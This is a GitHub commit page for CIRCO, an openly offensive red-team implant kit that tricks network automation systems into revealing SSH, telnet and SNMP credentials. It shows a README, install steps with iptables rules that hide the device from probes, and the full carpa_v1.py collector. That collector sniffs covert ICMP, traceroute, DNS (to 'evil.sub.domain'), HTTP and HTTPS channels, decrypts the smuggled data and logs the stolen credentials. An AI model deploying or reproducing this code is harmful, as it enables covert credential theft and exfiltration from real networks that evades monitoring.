-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
36 changed files
with
11,007 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
# CIRCO | ||
|
||
## Cisco Implant Raspberry Controlled Operations | ||
|
||
Designed under Raspberry Pi Zero and aimed for cover red-team Ops, we take advantage of SecNetDevOps tools to capture network credentials in a stealth mode. | ||
Using a low profile hardware/electronics and different methods for credentials exfiltration | ||
The tools use a combination of honeypots and information gather to lure Automation Systems into reveling network credentials (ssh/telnet/snmp) to our implant. | ||
|
||
## Installation | ||
|
||
Follow INSTAL.txt file on each directory: | ||
|
||
``` | ||
/circo_v1/INSTALL.txt | ||
/carap_v1/INSTALL.txt | ||
/jaula_v1/INSTALL.txt | ||
``` | ||
|
||
---- | ||
|
||
# Credentials Exfiltration Format | ||
|
||
### Telnet | ||
``` | ||
t,<user>,<password> | ||
t,e,<enable> | ||
``` | ||
|
||
### SSH | ||
``` | ||
s,<user>,<password> | ||
s,e,<enable> | ||
``` | ||
|
||
### SNMP | ||
``` | ||
p,<community> | ||
``` | ||
|
||
---- | ||
|
||
# DEMO | ||
|
||
[Demo Video](https://vimeo.com/299122405) | ||
|
||
Hostname `jaula` is a Raspberry Pi Zero with Adafruit 2.8" TFT and Buffalo WLI-UC-GNM | ||
dongle (also connect an USB LAN adaptor for mgmt), will be running `jaula_v1.py` | ||
|
||
Hostname `carpa` is a Raspberry Pi 3 running DHCP, eth0 connected to Cisco 2960-8TC and | ||
console to the switch, we also run `carpa_v1.py` (this can be on Internet) | ||
From here we can connecto our fake Cisco 3845 switch (circo_v1.py) like an automation system | ||
The onboard wlan0 is used for mgmt | ||
|
||
Hostname `circo` is **the** Raspberry Pi Zero W running `circo_v1.py` | ||
We use a Buffalo WLI-UC-GNM dongle for Wireless exfiltration (wlan1) and onboard for | ||
mgt (wlan0). USB LAN adapter (eth0) connected to the Cisco switch. | ||
The PoE & DC-DC are used to provide power (5V) to the Raspberry | ||
|
||
**Demo Enclosure Only** | ||
|
||
![box](circo-box.jpg) | ||
|
||
|
||
---- | ||
|
||
# Presentations | ||
|
||
[HIVE AV Tokyo 2018](https://speakerdeck.com/ekio_jp/circo-hive-av-tokyo-2018) | ||
|
||
|
||
---- | ||
|
||
# ToDo | ||
|
||
- [ ] Make the code nicer | ||
- [ ] Improve performace for snmposter and support *any* community | ||
- [ ] Work on WPAD discovery module | ||
- [ ] Work on No-DHCP module | ||
- [ ] Wifi Pineapple Module (jaula_v1.py) | ||
- [ ] Include Automation SRC IP in the exfiltration | ||
- [ ] Port code into NodeMCU/Arduino for jaula_v1.py | ||
|
||
---- | ||
|
||
# Author | ||
|
||
Emilio / [@ekio_jp](https://twitter.com/ekio_jp) | ||
|
||
---- | ||
|
||
# Licence | ||
|
||
Please see [LICENSE](https://github.com/ekiojp/circo/blob/master/LICENSE). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
# Install Software | ||
sudo apt-get install python-pip | ||
sudo apt-get install git | ||
|
||
# Install Scapy | ||
git clone https://github.com/secdev/scapy | ||
cd scapy | ||
sudo python setup.py install && cd .. && sudo rm -rf scapy | ||
|
||
# Get a copy of CIRCO | ||
cd ~ | ||
git clone https://github.com/ekiojp/circo | ||
|
||
# Install Requirementes | ||
cd ~/circo/carpa_v1 | ||
sudo pip install -r requirements.txt | ||
|
||
# Post-Install (avoid RST & ICMP packets out, block ping response) | ||
sudo iptables -A INPUT -i eth0 -p icmp -j DROP | ||
sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST RST -j DROP | ||
sudo iptables -A OUTPUT -o eth0 -p icmp --icmp-type port-unreachable -j DROP | ||
|
||
# Start "carpa_v1" on the background | ||
sudo ~/circo/carpa_v1/carpa_v1.py -i eth0 -f ~/CRED.txt & | ||
|
||
# REMEMBER! | ||
# change "phrase" & "salt" in carpa_v1.py to match circo_v1.py | ||
# ccname also need to match the NS domain used for DNS exfiltration |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
|
||
______ ______ ______ | ||
/ _____) /\ (_____ \(_____ \ /\ | ||
| / / \ _____) )_____) ) \ | ||
| | / /\ (_____ (| ____/ /\ \ | ||
| \_____| |__| | | | | | |__| | | ||
\______)______| |_|_| |______| | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,240 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
from __future__ import print_function | ||
import sys | ||
import os | ||
import re | ||
import argparse | ||
import time | ||
import pyaes | ||
import pyscrypt | ||
import collections | ||
from scapy.all import Raw, IP, ICMP, TCP, UDP, DNS, sniff | ||
|
||
# Me | ||
__author__ = "Emilio / @ekio_jp" | ||
__version__ = "1.2" | ||
|
||
# Define Config | ||
phrase = 'Waaaaa! awesome :)' | ||
salt = 'salgruesa' | ||
ccname = 'evil.sub.domain' | ||
|
||
# Setup | ||
motd = 'carpa-logo' | ||
DEBUG = False | ||
ipktlen = 0 | ||
ipkttotal = 200 | ||
idic = {} | ||
tpktlen = 0 | ||
tpkttotal = 200 | ||
tdic = {} | ||
wpktlen = 0 | ||
wpkttotal = 200 | ||
wdic = {} | ||
spktlen = 0 | ||
spkttotal = 200 | ||
sdic = {} | ||
fd = '' | ||
|
||
|
||
def decrypti(ciphertxt): | ||
hashed = pyscrypt.hash(phrase, salt, 1024, 1, 1, 16) | ||
key = hashed.encode('hex') | ||
aes = pyaes.AESModeOfOperationCTR(key) | ||
cleartxt = aes.decrypt(ciphertxt.decode('hex')) | ||
return cleartxt | ||
|
||
|
||
def pkt_callback(pkt): | ||
global ipkttotal | ||
global ipktlen | ||
global idic | ||
global tpkttotal | ||
global tpktlen | ||
global tdic | ||
global wpkttotal | ||
global wpktlen | ||
global wdic | ||
global spkttotal | ||
global spktlen | ||
global sdic | ||
|
||
# Process PING packets | ||
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: | ||
if pkt[IP].id >= 200 and pkt[IP].id < 300: | ||
ipktlen = pkt[IP].id - 200 | ||
elif pkt[IP].id >= 300 and pkt[IP].id < 400: | ||
ipkttotal = pkt[IP].id - 300 | ||
elif pkt[IP].id >= 500 and pkt[IP].id < 600: | ||
idic[pkt[IP].id - 500] = '{:04x}'.format(pkt[ICMP].seq) | ||
|
||
if len(idic) == ipkttotal: | ||
odic = collections.OrderedDict(sorted(idic.items())) | ||
final = '' | ||
for k, v in odic.iteritems(): | ||
final = final + v | ||
text = decrypti(final[:ipktlen]) | ||
text = text.strip() | ||
if DEBUG: | ||
print('Receive Credentails via ICMP:') | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
idic = {} | ||
ipkttotal = 200 | ||
|
||
# Process Traceroute packets | ||
elif pkt.haslayer(UDP) and pkt[UDP].dport >= 33434: | ||
if pkt[IP].id >= 200 and pkt[IP].id < 300: | ||
tpktlen = pkt[IP].id - 200 | ||
elif pkt[IP].id >= 300 and pkt[IP].id < 400: | ||
tpkttotal = pkt[IP].id - 300 | ||
elif pkt[IP].id >= 500 and pkt[IP].id < 600: | ||
tdic[pkt[IP].id - 500] = pkt[Raw].load[28:] | ||
|
||
if len(tdic) == tpkttotal: | ||
odic = collections.OrderedDict(sorted(tdic.items())) | ||
final = '' | ||
for k, v in odic.iteritems(): | ||
final = final + v | ||
text = decrypti(final[:tpktlen]) | ||
text = text.strip() | ||
if DEBUG: | ||
print('Receive Credentails via Traceroute:') | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
tdic = {} | ||
tpkttotal = 200 | ||
|
||
# Proccess DNS packets | ||
elif pkt.haslayer(DNS) and ccname in pkt[DNS].qd.qname: | ||
text = decrypti(pkt[DNS].qd.qname.split('.')[0]) | ||
text = text.strip() | ||
if DEBUG: | ||
print('Receive Credentails via DNS:') | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
|
||
# Proccess HTTP packets | ||
elif pkt.haslayer(TCP) and pkt[TCP].dport == 80: | ||
if pkt[IP].id >= 200 and pkt[IP].id < 300: | ||
wpktlen = pkt[IP].id - 200 | ||
elif pkt[IP].id >= 300 and pkt[IP].id < 400: | ||
wpkttotal = pkt[IP].id - 300 | ||
elif pkt[IP].id >= 500 and pkt[IP].id < 600: | ||
wdic[pkt[IP].id - 500] = '{:04x}'.format(pkt[TCP].window) | ||
|
||
if len(wdic) == wpkttotal: | ||
odic = collections.OrderedDict(sorted(wdic.items())) | ||
final = '' | ||
for k, v in odic.iteritems(): | ||
final = final + v | ||
text = decrypti(final[:wpktlen]) | ||
text = text.strip() | ||
if DEBUG: | ||
print('Receive Credentails via HTTP:') | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
wdic = {} | ||
wpkttotal = 200 | ||
|
||
# Proccess HTTPS packets | ||
elif pkt.haslayer(TCP) and pkt[TCP].dport == 443: | ||
if pkt[IP].id >= 200 and pkt[IP].id < 300: | ||
spktlen = pkt[IP].id - 200 | ||
elif pkt[IP].id >= 300 and pkt[IP].id < 400: | ||
spkttotal = pkt[IP].id - 300 | ||
elif pkt[IP].id >= 500 and pkt[IP].id < 600: | ||
sdic[pkt[IP].id - 500] = '{:04x}'.format(pkt[TCP].window) | ||
|
||
if len(sdic) == spkttotal: | ||
odic = collections.OrderedDict(sorted(sdic.items())) | ||
final = '' | ||
for k, v in odic.iteritems(): | ||
final = final + v | ||
text = decrypti(final[:spktlen]) | ||
text = text.strip() | ||
if DEBUG: | ||
print('Receive Credentails via HTTPS:') | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
sdic = {} | ||
spkttotal = 200 | ||
|
||
|
||
def parsingopt(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument('-v', '--verbose', | ||
action='store_true', help='Enable Debugging') | ||
parser.add_argument('-i', required=True, | ||
metavar='<eth0>', dest='nic', help='Sniff Interface') | ||
parser.add_argument('-f', required=True, | ||
metavar='<file>', dest='fd', help='Output File') | ||
if len(sys.argv) > 1: | ||
try: | ||
return parser.parse_args() | ||
except IOError, msg: | ||
parser.error(str(msg)) | ||
else: | ||
with open(motd, 'r') as sfile: | ||
print(sfile.read()) | ||
print('Author: ' + __author__) | ||
print('Version: ' + __version__ + '\n') | ||
parser.print_help() | ||
sys.exit(1) | ||
|
||
|
||
def main(): | ||
global fd | ||
global DEBUG | ||
opciones = parsingopt() | ||
if opciones.verbose: | ||
DEBUG = True | ||
if opciones.fd: | ||
fd = opciones.fd | ||
|
||
if DEBUG: | ||
print('Listening.....') | ||
sniff(iface=opciones.nic, prn=pkt_callback, store=0, | ||
filter="(icmp) or (udp port 53) or " | ||
"(udp portrange 33434-33500) or (tcp port 80) or (tcp port 443)") | ||
|
||
|
||
# Call main | ||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
pyaes==1.6.1 | ||
pyscrypt==1.6.2 |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.